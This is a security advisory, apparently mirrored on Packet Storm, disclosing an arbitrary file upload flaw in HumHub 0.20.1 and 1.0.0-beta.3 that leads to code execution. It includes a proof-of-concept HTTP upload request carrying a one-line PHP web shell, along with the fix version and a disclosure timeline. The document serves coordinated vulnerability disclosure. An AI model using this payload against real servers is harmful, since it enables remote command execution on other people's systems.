what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

HumHub 0.20.1 / 1.0.0-beta.3 Shell Upload

HumHub 0.20.1 / 1.0.0-beta.3 Shell Upload
Posted Mar 17, 2017
Authored by Tim Coen | Site curesec.com

HumHub versions 0.20.1 and 1.0.0-beta.3 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | bc26c6b7f83e3576352a65414047fbc9ceaa533e87f431f3480b0c169b02770d

HumHub 0.20.1 / 1.0.0-beta.3 Shell Upload

Change Mirror Download
Security Advisory - Curesec Research Team

1. Introduction

Affected Product: HumHub 0.20.1 / 1.0.0-beta.3
Fixed in: 1.0.0
Fixed Version https://www.humhub.org/en/download/default/form?version=1.0.0
Link: &type=zip
Vendor Website: https://www.humhub.org/
Vulnerability Code Execution
Type:
Remote Yes
Exploitable:
Reported to 01/10/2016
vendor:
Disclosed to 03/17/2017
public:
Release mode: Coordinated Release
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

HumHub is a social media platform written in PHP. In version 0.20.1 as well as
1.0.0-beta.3, it is vulnerable to Code Execution as some functionality allows
the uploading of PHP files. Successfull exploitation requires specific server
settings. A user account is required as well, but registration is open by
default.

3. Details

CVSS: High 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C

Most of the file uploads of HumHub check the file extension or file type before
uploading a file. However, the file upload of the "What's on your mind?"-text
box allows upload of arbitrary files.

A htaccess file forbids the execution of PHP code in uploaded files, but some
servers are configured to not read htaccess files. This is for example the case
with default Apache configurations. Because of this, uploaded files should be
checked to not have dangerous file extensions.

An account is needed, but the registration is open by default.

An admin does have the option to configure what files are allowed here: http://
localhost/humhub-0.20.0/index.php?r=admin%2Fsetting%2Ffile. But by default, all
files are allowed (although .htaccess is renamed).

It should also be noted that the documentation specifically mentions that the
upload directory needs to be protected. However, it is to be assumed that not
all users follow this suggestion, especially as there is no warning in the
installation process itself.

Proof of Concept:

POST /humhub-0.20.1/index.php?r=file%2Ffile%2Fupload&objectModel=&objectId=
HTTP/1.1 Host: localhost Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-Token:
TzMwdHgxWkcafVg5EHsjKyBeQS0fUCMBeHdxPg1wDiV2cEZZN3xrDw== X-Requested-With:
XMLHttpRequest Content-Length: 1080 Content-Type: multipart/form-data; boundary
=---------------------------101749290911301792911842334968 Cookie: [...]
Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="_csrf"
TzMwdHgxWkcafVg5EHsjKyBeQS0fUCMBeHdxPg1wDiV2cEZZN3xrDw==
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="message"
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="notifyUserInput"
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="containerGuid"
3edb07bd-969f-4da3-a4bc-3e2f92a6474c
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="containerClass" humhub\modules\user\
models\User -----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="fileList"
-----------------------------101749290911301792911842334968
Content-Disposition: form-data; name="files[]"; filename="test.php"
Content-Type: application/x-php <?php passthru($_GET['x']);
-----------------------------101749290911301792911842334968--

4. Solution

To mitigate this issue please upgrade at least to version 1.0.0:

https://www.humhub.org/en/download/default/form?version=1.0.0&type=zip

Please note that a newer version might already be available.

5. Report Timeline

01/10/2016 Informed Vendor about Issue
01/12/2016 Vendor confirms issue
02/10/2016 Vendor requests more time
03/27/2016 Vendor releases fix
03/17/2017 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/HumHub-0201--100-beta3-Code-Execution-196.html

--
blog: https://www.curesec.com/blog
Atom Feed: https://www.curesec.com/blog/feed.xml
RSS Feed: https://www.curesec.com/blog/rss.xml
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany


Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close